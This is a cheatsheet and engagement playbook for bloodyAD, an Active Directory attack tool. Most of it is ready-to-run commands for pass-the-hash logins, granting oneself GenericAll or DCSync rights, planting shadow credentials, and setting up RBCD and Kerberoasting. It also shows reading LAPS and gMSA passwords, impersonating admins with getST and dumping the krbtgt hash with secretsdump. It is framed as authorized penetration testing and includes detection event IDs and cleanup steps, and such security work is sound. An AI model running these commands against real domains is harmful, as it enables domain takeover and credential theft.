BloodyAD Cheatsheet¶
Installation¶
Using uv
uv tool install bloodyAD
Using pipx
pipx install bloodyAD
Using pip
pip install bloodyAD
Authentication Methods¶
Password Authentication
bloodyAD --host $dc -d $domain -u $username -p $password [command]
Hash Authentication (Pass-the-Hash)
bloodyAD --host $dc -d $domain -u $username -p :$ntlm_hash [command]
Kerberos Authentication
bloodyAD --host $dc -d $domain -u $username -p $password -k [command]
Certificate Authentication
bloodyAD --host $dc -d $domain -c $cert.pfx -p $cert_password [command]
Enumeration Commands¶
Retrieve User Information
bloodyAD --host $dc -d $domain -u $username -p $password get object $target_username
Get Specific Attributes
bloodyAD --host $dc -d $domain -u $username -p $password get object $target --attr memberOf,servicePrincipalName,userAccountControl
Get MachineQuota of a user
bloodyAD -d inlanefreight.local --host 10.129.229.224 -u aneudy -p Ilovemusic01 get search --filter '(objectClass=computer)' --attr ms-ds-creatorsid
Find Writable Attributes
bloodyAD --host $dc -d $domain -u $username -p $password get writable --detail
Search for Specific Objects
bloodyAD --host $dc -d $domain -u $username -p $password get search --filter "(objectClass=computer)"
List All Domain Users
bloodyAD --host $dc -d $domain -u $username -p $password get search --filter "(objectClass=user)"
List All Groups
bloodyAD --host $dc -d $domain -u $username -p $password get search --filter "(objectClass=group)"
Find Privileged Groups
bloodyAD --host $dc -d $domain -u $username -p $password get search --filter "(&(objectClass=group)(adminCount=1))"
Get Domain Controllers
bloodyAD --host $dc -d $domain -u $username -p $password get search --filter "(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=8192))"
User and Group Management¶
Add User To Group
bloodyAD --host $dc -d $domain -u $username -p $password add groupMember $group_name $member_to_add
Remove User From Group
bloodyAD --host $dc -d $domain -u $username -p $password remove groupMember $group_name $member_to_remove
Change Password
bloodyAD --host $dc -d $domain -u $username -p $password set password $target_username $new_password
Force Password Change at Next Logon
bloodyAD --host $dc -d $domain -u $username -p $password set object $target_username pwdLastSet -v 0
Set Password Never Expires
bloodyAD --host $dc -d $domain -u $username -p $password add uac $target_username -f DONT_EXPIRE_PASSWD
ACL Manipulation¶
Give User GenericAll Rights
bloodyAD --host $dc -d $domain -u $username -p $password add genericAll $target_DN $user_to_grant
Add GenericWrite Permission
bloodyAD --host $dc -d $domain -u $username -p $password add genericWrite $target_DN $user_to_grant
WriteOwner
bloodyAD --host $dc -d $domain -u $username -p $password set owner $target_object $new_owner
WriteDACL
bloodyAD --host $dc -d $domain -u $username -p $password add writeDacl $target_DN $user_to_grant
Add DCSync Rights
bloodyAD --host $dc -d $domain -u $username -p $password add dcsync $user_to_grant
GMSA (Group Managed Service Account)¶
ReadGMSAPassword
bloodyAD --host $dc -d $domain -u $username -p $password get object $gmsa_account --attr msDS-ManagedPassword
Decode GMSA Password
bloodyAD --host $dc -d $domain -u $username -p $password get object $gmsa_account --attr msDS-ManagedPassword --raw
UAC (User Account Control) Flags¶
Enable a Disabled Account
bloodyAD --host $dc -d $domain -u $username -p $password remove uac $target_username -f ACCOUNTDISABLE
Disable an Account
bloodyAD --host $dc -d $domain -u $username -p $password add uac $target_username -f ACCOUNTDISABLE
Add TRUSTED_TO_AUTH_FOR_DELEGATION Flag
bloodyAD --host $dc -d $domain -u $username -p $password add uac $target_username -f TRUSTED_TO_AUTH_FOR_DELEGATION
Remove TRUSTED_TO_AUTH_FOR_DELEGATION Flag
bloodyAD --host $dc -d $domain -u $username -p $password remove uac $target_username -f TRUSTED_TO_AUTH_FOR_DELEGATION
Set Account as Sensitive (Cannot be Delegated)
bloodyAD --host $dc -d $domain -u $username -p $password add uac $target_username -f NOT_DELEGATED
Kerberos Delegation¶
Add Resource Based Constrained Delegation (RBCD)
bloodyAD --host $dc -d $domain -u $username -p $password add rbcd 'DELEGATE_TO$' 'DELEGATE_FROM$'
Remove RBCD
bloodyAD --host $dc -d $domain -u $username -p $password remove rbcd 'DELEGATE_TO$' 'DELEGATE_FROM$'
Get RBCD Configuration
bloodyAD --host $dc -d $domain -u $username -p $password get rbcd 'TARGET$'
Set Constrained Delegation
bloodyAD --host $dc -d $domain -u $username -p $password set object $account msDS-AllowedToDelegateTo -v "HOST/target.domain.local"
SPN (Service Principal Name) Management¶
WriteSPN
bloodyAD --host $dc -d $domain -u $username -p $password set object $target servicePrincipalName -v 'HTTP/server.domain.local'
Add SPN
bloodyAD --host $dc -d $domain -u $username -p $password add servicePrincipalName $target 'MSSQLSvc/server.domain.local:1433'
Remove SPN
bloodyAD --host $dc -d $domain -u $username -p $password remove servicePrincipalName $target 'MSSQLSvc/server.domain.local:1433'
Shadow Credentials¶
Add Shadow Credentials
bloodyAD --host $dc -d $domain -u $username -p $password add shadowCredentials $target
Clear Shadow Credentials
bloodyAD --host $dc -d $domain -u $username -p $password clear shadowCredentials $target
Add Shadow Credentials with Custom Certificate
bloodyAD --host $dc -d $domain -u $username -p $password add shadowCredentials $target --cert cert.pfx
Computer Account Management¶
Create New Computer Account
bloodyAD --host $dc -d $domain -u $username -p $password add computer $computer_name $computer_password
Delete Computer Account
bloodyAD --host $dc -d $domain -u $username -p $password remove computer $computer_name
MachineAccountQuota - Enumerate
bloodyAD --host $dc -d $domain -u $username -p $password get object 'DC=domain,DC=local' --attr ms-DS-MachineAccountQuota
MachineAccountQuota - Set Value
bloodyAD --host $dc -d $domain -u $username -p $password set object 'DC=domain,DC=local' ms-DS-MachineAccountQuota -v 10
Attribute Modification¶
Modify UPN (User Principal Name)
bloodyAD --host $dc -d $domain -u $username -p $password set object $target userPrincipalName -v $new_upn
Modify Mail Attribute
bloodyAD --host $dc -d $domain -u $username -p $password set object $target_user mail -v [email protected]
Modify altSecurityIdentities (ESC14B)
bloodyAD --host $dc -d $domain -u $username -p $password set object $target_user altSecurityIdentities -v 'X509:<RFC822>[email protected]'
Modify Description
bloodyAD --host $dc -d $domain -u $username -p $password set object $target description -v "New description"
Modify Display Name
bloodyAD --host $dc -d $domain -u $username -p $password set object $target displayName -v "New Display Name"
Deleted Objects and Recovery¶
Find Deleted Objects
bloodyAD --host $dc -d $domain -u $username -p $password get writable --include-del
Search Tombstoned Objects
bloodyAD --host $dc -d $domain -u $username -p $password get search -c 1.2.840.113556.1.4.2064 -c 1.2.840.113556.1.4.2065
Restore Deleted Object
bloodyAD --host $dc -d $domain -u $username -p $password set restore $deleted_object_DN
Trust Management¶
Get Trust Information
bloodyAD --host $dc -d $domain -u $username -p $password get object "CN=domain.local,CN=System,DC=domain,DC=local" --attr trustDirection,trustType,trustAttributes
Enumerate Foreign Security Principals
bloodyAD --host $dc -d $domain -u $username -p $password get search --filter "(objectClass=foreignSecurityPrincipal)"
LAPS (Local Administrator Password Solution)¶
Read LAPS Password
bloodyAD --host $dc -d $domain -u $username -p $password get object $computer_name --attr ms-Mcs-AdmPwd
Read LAPS Expiration Time
bloodyAD --host $dc -d $domain -u $username -p $password get object $computer_name --attr ms-Mcs-AdmPwdExpirationTime
Certificate Services (ADCS)¶
Enumerate Certificate Templates
bloodyAD --host $dc -d $domain -u $username -p $password get search --filter "(objectClass=pKICertificateTemplate)"
Get Certificate Template Permissions
bloodyAD --host $dc -d $domain -u $username -p $password get object "CN=TemplateName,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=domain,DC=local" --attr nTSecurityDescriptor
Advanced Search Operations¶
Extended Search with Controls
bloodyAD --host $dc -d $domain -u $username -p $password get search -h
Search with Custom LDAP Filter
bloodyAD --host $dc -d $domain -u $username -p $password get search --filter "(&(objectClass=user)(memberOf=CN=Domain Admins,CN=Users,DC=domain,DC=local))"
Search with Size Limit
bloodyAD --host $dc -d $domain -u $username -p $password get search --filter "(objectClass=*)" --size-limit 100
Useful Combinations and Scenarios¶
Kerberoasting Setup (Add SPN to User)
bloodyAD --host $dc -d $domain -u $username -p $password add servicePrincipalName $target_user "MSSQLSvc/fake.domain.local"
ASREPRoasting Setup (Disable Pre-Authentication)
bloodyAD --host $dc -d $domain -u $username -p $password add uac $target_user -f DONT_REQ_PREAUTH
Unconstrained Delegation Setup
bloodyAD --host $dc -d $domain -u $username -p $password add uac $computer_account -f TRUSTED_FOR_DELEGATION
DNS Admin Abuse
bloodyAD --host $dc -d $domain -u $username -p $password add groupMember "DnsAdmins" $username
Protocol Transition: Constrained Delegation
# Set the TRUSTED_TO_AUTH_FOR_DELEGATION flag
bloodyAD --host $dc -d $domain -u $username -p $password add uac $service_account -f TRUSTED_TO_AUTH_FOR_DELEGATION
# Set the services the account can delegate to (constrained delegation)
bloodyAD --host $dc -d $domain -u $username -p $password set object $service_account msDS-AllowedToDelegateTo -v "CIFS/target.domain.local"
Important Notes¶
- Authentication Options:
- Pass
-kto use Kerberos authentication - Use
-p :hashfor pass-the-hash (NTLM hash only) -
Specify hash format using
-f, e.g.,-f rc4or-f aes256 -
Common Variables:
$dc= Domain Controller IP or hostname$domain= Domain name (e.g., domain.local)$username= Your username$password= Your password$target= Target object (user, computer, group)-
$DN= Distinguished Name (e.g., CN=User,CN=Users,DC=domain,DC=local) -
Output Formats:
- Add
--jsonfor JSON output - Add
--rawfor raw attribute values -
Add
--detailfor detailed information -
Useful Flags:
--help- Show help for specific commands--debug- Enable debug output--no-pass- Don't ask for password (useful for Kerberos)-
--dc-ip- Specify DC IP directly -
Common UAC Flags:
ACCOUNTDISABLE- Account is disabledDONT_EXPIRE_PASSWD- Password never expiresDONT_REQ_PREAUTH- Don't require Kerberos pre-authenticationTRUSTED_FOR_DELEGATION- Unconstrained delegationTRUSTED_TO_AUTH_FOR_DELEGATION- Protocol transitionNOT_DELEGATED- Account is sensitive, cannot be delegated-
PASSWORD_EXPIRED- Password has expired -
LDAP Search Controls:
1.2.840.113556.1.4.2064- Show deleted objects1.2.840.113556.1.4.2065- Show recycled objects1.2.840.113556.1.4.801- Show deactivated link1.2.840.113556.1.4.417- Show extended DN
BloodyAD โ ACL/Object Enumeration & DACL Abuse โ Cheatsheet¶
Purpose: From a Linux box, use bloodyAD to enumerate exactly what a given identity can write across each domain, triage the writable set by ACE class, and abuse each class (group self-add, WriteOwner, WriteDACL, GenericAll, password reset, shadow cred, RBCD, UAC, dcsync, DNS) โ without offline cracking.
Prereqs / context: Domain-joined Linux operator box; auth as a standard user (-u/-p), via pass-the-hash (-p ':<NT_HASH>'), or Kerberos ccache (-k + KRB5CCNAME). Pin --host to one specific DC every time โ get writable/DACL/owner writes and the subsequent S4U/RBCD must hit the same DC or replication lag bites you. Map each writable ACE to the DC primitive it actually confers before claiming impact (writable on a DC object โ DC admin).
0. Auth โ two ways (always pin --host to one DC)¶
export KRB5CCNAME=<USER>.ccache # use a specific id's ccache for -k runs
kinit -k -t /etc/krb5.keytab '<ATTACKER_HOST>$@<REALM>' # machine-account TGT from the box keytab
bloodyAD -d <DOMAIN> -u <USER> -p '<USER_PW>' --host <DC_FQDN> get writable # user+password
bloodyAD -d <DOMAIN> -u '<FOOTHOLD>$' -p ':<NT_HASH>' --host <DC_FQDN> get writable --detail # pass-the-hash (machine acct); note the ':' prefix
bloodyAD -d <DOMAIN> --host <DC_FQDN> -k get writable --detail # Kerberos via KRB5CCNAME ccache
1. Recon โ what THIS identity can write¶
bloodyAD -d <DOMAIN> -u <USER> -p '<USER_PW>' --host <DC_FQDN> get writable --detail # core triage: every obj + every writable attr for the current identity
bloodyAD -d <DOMAIN> -u <USER> -p '<USER_PW>' --host <DC_FQDN> get writable --otype COMPUTER --detail # filter to computer objects only (RBCD/KeyCred/UAC hunting)
bloodyAD -d <DOMAIN> -u <USER> -p '<USER_PW>' --host <DC_FQDN> get writable --otype GROUP --detail # filter to groups (member/owner self-add hunting)
bloodyAD -d <DOMAIN> -u <USER> -p '<USER_PW>' --host <DC_FQDN> get writable --right WRITE --detail # restrict by right (WRITE vs CREATE_CHILD)
get writable --detail prints one block per object โ the attribute name followed by the granted right. These are the ACE-class signal strings you grep for:
distinguishedName: CN=<TARGET>,OU=...,DC=<DOMAIN>
msDS-AllowedToActOnBehalfOfOtherIdentity: WRITE # then RBCD
msDS-KeyCredentialLink: WRITE # then shadow credential / PKINIT
unicodePwd: WRITE # then password reset
ms-Mcs-AdmPwd: WRITE # then LAPS read
userAccountControl: WRITE # then UAC flips
servicePrincipalName / sAMAccountName / scriptPath: WRITE
nTSecurityDescriptor / DACL: WRITE # then WriteDACL (add genericAll / dcsync)
OWNER: WRITE # then WriteOwner (take ownership then full control)
member / owner: WRITE # then group self-add / group takeover
2. Read object attributes (triage before you touch anything)¶
bloodyAD -d <DOMAIN> -u <USER> -p '<USER_PW>' --host <DC_FQDN> get object '<TARGET>$' --attr msDS-SupportedEncryptionTypes,userAccountControl,pwdLastSet # etype/UAC/pw-state (decides RC4-in-S4U, must-change, delegation)
bloodyAD -d <DOMAIN> -u <USER> -p '<USER_PW>' --host <DC_FQDN> get object 'DC=<DOMAIN_DN>' --attr ms-DS-MachineAccountQuota # can a std user add a computer? (gates RBCD)
bloodyAD -d <DOMAIN> -u <USER> -p '<USER_PW>' --host <DC_FQDN> get object '<TARGET>$' --attr nTSecurityDescriptor --resolve-sd # read & resolve the DACL/owner (who really has what)
bloodyAD -d <DOMAIN> -u <USER> -p '<USER_PW>' --host <DC_FQDN> get search --base 'DC=<DOMAIN_DN>' --filter '(msDS-AllowedToActOnBehalfOfOtherIdentity=*)' --attr distinguishedName # targeted LDAP: who already has an RBCD set
bloodyAD -d <DOMAIN> -u <USER> -p '<USER_PW>' --host <DC_FQDN> get children --otype COMPUTER 'OU=<OU_PATH>' # enumerate an OU/container
bloodyAD -d <DOMAIN> -u <USER> -p '<USER_PW>' --host <DC_FQDN> get membership '<USER>' # confirm a self-add actually took
3. Triage the writable set by ACE class¶
Tabulate per identity exactly these columns (this is the matrix we built across all domains):
| ACE / attr | Primitive | Abuse verb |
|---|---|---|
member |
group self-add | add groupMember |
owner / OWNER |
take ownership โ full control | set owner then add genericAll |
nTSecurityDescriptor/DACL |
WriteDACL | add genericAll / add dcsync |
unicodePwd |
password reset | set password |
msDS-KeyCredentialLink |
shadow cred โ PKINIT (no crack) | add shadowCredentials |
ms-Mcs-AdmPwd |
LAPS local-admin read | get object --attr ms-Mcs-AdmPwd |
msDS-AllowedToActOnBehalfOfOtherIdentity |
RBCD | add rbcd |
userAccountControl |
UAC flips | add uac / remove uac |
dnsNode/dnsRecord |
ADIDNS write | add dnsRecord |
4. Abuse by ACE class¶
4a. member โ group self-add (cleanest crack-free round-0 win)¶
bloodyAD -d <DOMAIN> -u <USER> -p '<USER_PW>' --host <DC_FQDN> add groupMember '<GROUP_DN>' '<USER>' # add yourself to a group you can write member on
bloodyAD -d <DOMAIN> -u <USER> -p '<USER_PW>' --host <DC_FQDN> get membership '<USER>' # verify, then enumerate what membership confers
\\<DOMAIN>\SYSVOL, POSIX memberUid for SSH on Linux hosts, or app RBAC โ only call it a finding once you've shown what it grants.
4b. OWNER / WriteOwner โ take ownership โ grant yourself full control¶
bloodyAD -d <DOMAIN> -u <USER> -p '<USER_PW>' --host <DC_FQDN> set owner '<TARGET>' '<USER>' # become object owner (implicit WriteDACL)
bloodyAD -d <DOMAIN> -u <USER> -p '<USER_PW>' --host <DC_FQDN> add genericAll '<TARGET>' '<USER>' # owner then write a full-control ACE for yourself
# now the object is fully yours then set password / add shadowCredentials / add to group
OWNER: WRITE on hundreds of FUNCTION_GROUPS + SERVICE_ACCOUNTS โ one identity could take over each via this two-step.
4c. nTSecurityDescriptor (WriteDACL) โ genericAll / dcsync¶
bloodyAD -d <DOMAIN> -u <USER> -p '<USER_PW>' --host <DC_FQDN> add genericAll '<TARGET>' '<USER>' # WriteDACL on an object then write yourself a full-control ACE
bloodyAD -d <DOMAIN> -u <USER> -p '<USER_PW>' --host <DC_FQDN> add dcsync '<USER>' # ONLY works if you have WriteDACL on the DOMAIN HEAD (DS-Replication-Get-Changes[-All])
secretsdump.py -k -no-pass -just-dc-user '<DOMAIN>/krbtgt' '<DC_FQDN>' # then replicate (Kerberos ccache)
4d. GenericAll (you already hold full control)¶
bloodyAD -d <DOMAIN> -u <USER> -p '<USER_PW>' --host <DC_FQDN> add shadowCredentials '<TARGET>$' # preferred on computers/users (no password change, reversible)
bloodyAD -d <DOMAIN> -u <USER> -p '<USER_PW>' --host <DC_FQDN> set password '<TARGET>$' '<USER_PW>' # only if you must (destructive โ see 4e)
4e. unicodePwd โ password reset¶
bloodyAD -d <DOMAIN> -u <USER> -p '<USER_PW>' --host <DC_FQDN> set password '<SVC>' '<USER_PW>' # reset a target's password (needs LDAPS/sealed channel โ see the notes below)
pwdLastSet/state before touching it.
4f. msDS-KeyCredentialLink โ shadow credential โ PKINIT (no cracking)¶
bloodyAD -d <DOMAIN> -u '<FOOTHOLD>$' -p ':<NT_HASH>' --host <DC_FQDN> add shadowCredentials '<TARGET>$' # write a KeyCredential, get back a cert/key
certipy-ad shadow auto -u '<FOOTHOLD>$@<DOMAIN>' -hashes ':<NT_HASH>' -account '<TARGET>$' -dc-ip <DC_IP> # one-shot: write keycred then PKINIT then UnPAC then NT hash
# the NT hash is for pass-the-hash / over-PtH ONLY (no offline crack)
<TARGET>$ NT hash โ pivot to the next object holding the same write โ repeat. Bypasses Protected Users / delegation entirely.
4g. ms-Mcs-AdmPwd โ LAPS local-admin read¶
bloodyAD -d <DOMAIN> -u <USER> -p '<USER_PW>' --host <DC_FQDN> get object '<TARGET>$' --attr ms-Mcs-AdmPwd,ms-Mcs-AdmPwdExpirationTime # read the cleartext LAPS local-admin password
WRITE on the attr โ a populated value (host not LAPS-managed / not yet rotated). Always read before assuming a win.
4h. msDS-AllowedToActOnBehalfOfOtherIdentity โ RBCD¶
bloodyAD -d <DOMAIN> -u '<FOOTHOLD>$' -p ':<NT_HASH>' --host <DC_FQDN> add rbcd '<TARGET>$' '<FOOTHOLD>$' # allow your machine acct to delegate to the target
getST.py -spn 'cifs/<TARGET_FQDN>' -impersonate <ADMIN> -k -no-pass '<DOMAIN>/<FOOTHOLD>$' -dc-ip <DC_IP> # S4U2self+proxy then service ticket as <ADMIN>
# computerless / SPN-less variant if you can't add a computer (Forshaw U2U):
getST.py -u2u -impersonate <ADMIN> -spn 'cifs/<TARGET_FQDN>' -k -no-pass '<DOMAIN>/<USER>' -dc-ip <DC_IP> # needs RC4 usable in the S4U path
NOT_DELEGATED โ S4U impersonation of them fails. That's an ACL-hygiene finding, not an exploit.
4i. userAccountControl โ UAC flips¶
bloodyAD -d <DOMAIN> -u <USER> -p '<USER_PW>' --host <DC_FQDN> remove uac '<TARGET>$' -f ACCOUNTDISABLE # re-enable an account you took over
bloodyAD -d <DOMAIN> -u <USER> -p '<USER_PW>' --host <DC_FQDN> add uac '<TARGET>$' -f TRUSTED_TO_AUTH_FOR_DELEGATION # arm constrained delegation w/ protocol transition (if writable + you control an SPN)
bloodyAD -d <DOMAIN> -u <USER> -p '<USER_PW>' --host <DC_FQDN> set object '<TARGET>$' msDS-AllowedToDelegateTo -v 'cifs/<DC_FQDN>' # set the constrained-delegation target list
add uac -f TRUSTED_FOR_DELEGATION (unconstrained) needs SeEnableDelegation on the DC and usually fails for non-admins โ don't bank on it just because the attr is writable.
4j. DNS โ dnsNode CREATE_CHILD / dnsRecord WRITE (ADIDNS)¶
bloodyAD -d <DOMAIN> -u <USER> -p '<USER_PW>' --host <DC_FQDN> get dnsDump # enumerate zones/records you can see
bloodyAD -d <DOMAIN> -u <USER> -p '<USER_PW>' --host <DC_FQDN> add dnsRecord 'pwn-poc' '<ATTACKER_IP>' --zone '<ZONE>' # PoC: ADD a benign A record (CREATE_CHILD)
bloodyAD -d <DOMAIN> -u <USER> -p '<USER_PW>' --host <DC_FQDN> remove dnsRecord 'pwn-poc' '<ATTACKER_IP>' --zone '<ZONE>' # clean it up immediately
<CUSTOMER_ZONE>) or forest zones โ DoS risk. PoC = create+delete one throwaway record only.
What Went Wrong¶
KRB_AP_ERR_MODIFIEDon the SPN-less U2U RBCD path. Fires on everygetST -u2u(even self-impersonation) when RC4 is hardened out of the S4U/service-ticket path on that DC โ etype mismatch. The NT-hash==TGT-session-key invariant is fine; the failure is in the S4U2self+U2U decryption. Confirm withget object โฆ --attr msDS-SupportedEncryptionTypeson both account and DC; the clean proof is to re-run the identical flow against a less-hardened sibling domain (<CHILD>).- Fresh-TGT footgun in U2U. Computerless RBCD needs the TGT's session key to equal the account's NT hash. Re-running
getTGT/Rubeus/rc4mints a new session key and breaks it. Reuse the same ccache; if using Rubeus, import the exact kirbi with/ticket:. - RBCD write but
BADOPTIONon S4U. If you wrote the RBCD/DACL on one DC and rungetSTagainst another, the second DC hasn't replicated your write โKDC_ERR_BADOPTION. Pin--host/-dc-ipto the same DC for the write and the S4U. - WriteDACL โ dcsync. We held 20+
nTSecurityDescriptor: WRITEACEs, but they were on a group + DNS nodes โ none on the domain head โ soadd dcsynchad nowhere to grant. WriteDACL only yields DCSync when it's on the domain NC object. - Writable-on-a-DC โ DC takeover. RBCD/UAC/sAMAccountName writable on ~16โ51 DC objects per domain, but Tier-0 is Protected/
NOT_DELEGATEDโ not weaponizable. Report as hygiene, not exploit. ms-Mcs-AdmPwdread returned empty โ writable attr, unpopulated value. Verify before claiming LAPS compromise.set passwordneeds a sealed channel.unicodePwdwrites require LDAPS (636) or LDAP signing/sealing; bloodyAD errorsunwilling to perform/CONSTRAINT_ATT_TYPEif the channel isn't encrypted or the new password fails policy.- PKINIT can fail downstream of the cert even when issuance works โ e.g.
KDC_ERR_INCONSISTENT_KEY_PURPOSEon a Server-Auth-only template. Shadow-cred (your own KeyCredential) avoids template-EKU issues entirely; prefer it over cert-template paths when you only need an NT hash. secretsdump โฆ -just-dc-userโept_s_not_registeredmeans you aimed DCSync at a member server, not a DC. Point it at a real DC.- Impacket dev-build churn.
-u2u/-selffor SPN-less RBCD have regressed across dev builds (e.g.v0.14.0.dev0+โฆ). If a flow fails only on the dev build, re-test the same ccache+hash under a pinned release (impacket==0.12.0).
Detection / OPSEC¶
get writable/get objectare LDAP reads โ low signal, but a single bind enumerating thousands of objects' SDs is anomalous. Throttle and scope (--otype/get searchwith a tight filter) instead of dumping the whole NC.- Every write is logged: DACL/owner changes โ Event 5136 (Directory Service Changes; audit must be on);
msDS-KeyCredentialLinkwrites,memberadds (4728/4732/4756), password resets (4724), and RBCD writes are all 5136. Shadow-cred and RBCD writes against DC objects are high-fidelity alerts. set passwordis the loudest and most destructive โ avoid unless required; shadow creds are quieter and reversible.- Pin one DC; keep writes minimal and time-boxed; do DNS PoC as create+delete of a single throwaway record.
Cleanup (revert everything you changed)¶
bloodyAD -d <DOMAIN> -u <USER> -p '<USER_PW>' --host <DC_FQDN> remove groupMember '<GROUP_DN>' '<USER>' # undo self-add
bloodyAD -d <DOMAIN> -u <USER> -p '<USER_PW>' --host <DC_FQDN> remove genericAll '<TARGET>' '<USER>' # remove the ACE you wrote
bloodyAD -d <DOMAIN> -u <USER> -p '<USER_PW>' --host <DC_FQDN> set owner '<TARGET>' '<ORIGINAL_OWNER>' # restore original owner
bloodyAD -d <DOMAIN> -u <USER> -p '<USER_PW>' --host <DC_FQDN> remove shadowCredentials '<TARGET>$' # delete the KeyCredential you added
bloodyAD -d <DOMAIN> -u <USER> -p '<USER_PW>' --host <DC_FQDN> remove rbcd '<TARGET>$' '<FOOTHOLD>$' # clear the RBCD write
bloodyAD -d <DOMAIN> -u <USER> -p '<USER_PW>' --host <DC_FQDN> remove dcsync '<USER>' # revoke replication rights
bloodyAD -d <DOMAIN> -u <USER> -p '<USER_PW>' --host <DC_FQDN> remove dnsRecord 'pwn-poc' '<ATTACKER_IP>' --zone '<ZONE>' # delete PoC DNS record
set password, you cannot restore the original (it's a hash you don't have) โ flag it to the client to reset, and note any account left with pwdLastSet=0 (must-change). Restore any test identity whose password you replaced with a raw session-key hash (logon-broken otherwise).
References¶
- bloodyAD โ repo + wiki (command reference): https://github.com/CravateRouge/bloodyAD ยท https://github.com/CravateRouge/bloodyAD/wiki
- The Hacker Recipes โ DACL abuse: https://www.thehacker.recipes/ad/movement/dacl
- The Hacker Recipes โ Shadow Credentials: https://www.thehacker.recipes/ad/movement/kerberos/shadow-credentials
- The Hacker Recipes โ RBCD (incl. SPN-less/U2U): https://www.thehacker.recipes/ad/movement/kerberos/delegations/rbcd
- James Forshaw โ Exploiting RBCD Using a Normal User Account (SPN-less U2U; "only works if RC4 is still enabled"): https://www.tiraniddo.dev/2022/05/exploiting-rbcd-using-normal-user.html
- chkja โ KRB_AP_ERR_MODIFIED & RC4-hardening misconfiguration: https://www.chkja.dk/blog/wp/active-directory-the-kerberos-client-received-a-krb_ap_err_modified-error-rc4-hardening-misconfiguration/
- Certipy (shadow auto, PKINIT, UnPAC-the-hash): https://github.com/ly4k/Certipy
- Impacket PR #1202 โ
-self/-u2u/-altserviceadded to getST: https://github.com/fortra/impacket/pull/1202